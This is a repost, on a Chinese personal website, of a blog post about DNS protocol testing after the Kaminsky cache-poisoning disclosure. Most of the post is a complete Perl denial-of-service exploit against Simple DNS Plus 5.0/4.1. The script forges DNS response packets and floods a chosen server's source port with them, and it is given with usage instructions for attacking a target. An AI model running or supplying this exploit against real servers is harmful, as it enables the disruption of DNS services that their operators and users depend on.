中文版 | English

网站首页 | 个人作品 | 站长日志 | 给我留言 | 经典分享 | 友情链接 | 黑白人生


dns缓存之后的DNS拒绝[转]

come from http://www.blackhat.org.il/
after reading the story about Dan kaminskys DNS cache posioning attack
and watching his ridiculous youtube cornflakes commercial
i decided to trace the source of this vulnerability.
so in order to understand how kaminsky attack is any diffrent from the traditional dns cache posioning
i started digging into some RFCs/documentations and playing with the protocol
to see if i can find some clues/logical faults.
yet i didnt find anything worthy and i wonder if kaminsky founding is just some algorithm of guessing a little bit faster the 16 bit transaction ID fieldanyway while i was doing some tests on this Simple DNS server
i’ve found that if i repeatingly send DNS server response packets as if i was a root dns server
to the client port of the DNS server it will remotly cause a denial of service.so what we have here is a DNS response packet built from scratch
that basicly flood the the source port of some “Simple DNS server Plus” and deny its service.
p.s: i used mutiple pack functions to make it more convenient
i could have just squeeze it into one pack but what the heck..
  1. #!/usr/bin/perl
  2. # Simple DNS Plus 5.0/4.1 < remote Denial of Service exploit
  3. #
  4. # usage: sdns-dos.pl <dns server> <dns source port> <num of packets>
  5. # Exploit written by Exodus.
  6. # http://www.blackhat.org.il
  7. use IO::Socket;
  8. if(@ARGV < 3){
  9. print("sdns-dos.pl <dns server> <dns source port> <num of packets>");
  10. }
  11. $sock = IO::Socket::INET->new(PeerAddr => "$ARGV[0]:$ARGV[1]", Proto => 'UDP') || die("Cant connect DNS server");
  12. $address = $ARGV[0];
  13. $trans = pack("H4","1337");
  14. $flags = pack("B16","1000010110110000");
  15. $question = pack("H4","0001");
  16. $answerRR = pack("H4","0001");
  17. $authorityRR = pack("H4","0000");
  18. $additionlRR = pack("H4","0000");
  19. $type = pack("H4","0001"); # A host name
  20. $class = pack("H4","0001"); # IN
  21. @parts = split(/\./,$address);
  22. foreach $part (@parts)
  23. {
  24. $packedlen = pack("H2",sprintf("%02x",length($part)));
  25. $address2 .= $packedlen.$part;
  26. }
  27. $query = $address2. "\000" . $type . $class;
  28. $aname = pack("H4","c00c");
  29. $atype = pack("H4","0001");
  30. $aclass = pack("H4","0001");
  31. $ttl = pack("H8","0000008d");
  32. $dlen = pack("H4","0004");
  33. $addr = inet_aton("127.0.0.1");
  34. $answer = $aname . $atype . $aclass . $ttl . $dlen . $addr;
  35. $payload = $trans . $flags . $question . $answerRR
  36. . $authorityRR . $additionlRR . $query . $answer;
  37. print "sending $ARGV[2] packets… ";
  38. for($i=0;$i<=$ARGV[2];$i++)
  39. {
  40. print $sock $payload;
  41. }
  42. print "Done. Good bye.";
  43. __END__



Copyright 1998-2021. All rights reserved.
工信部备案:冀ICP备19032940号-1|公安部备案号:13020802000209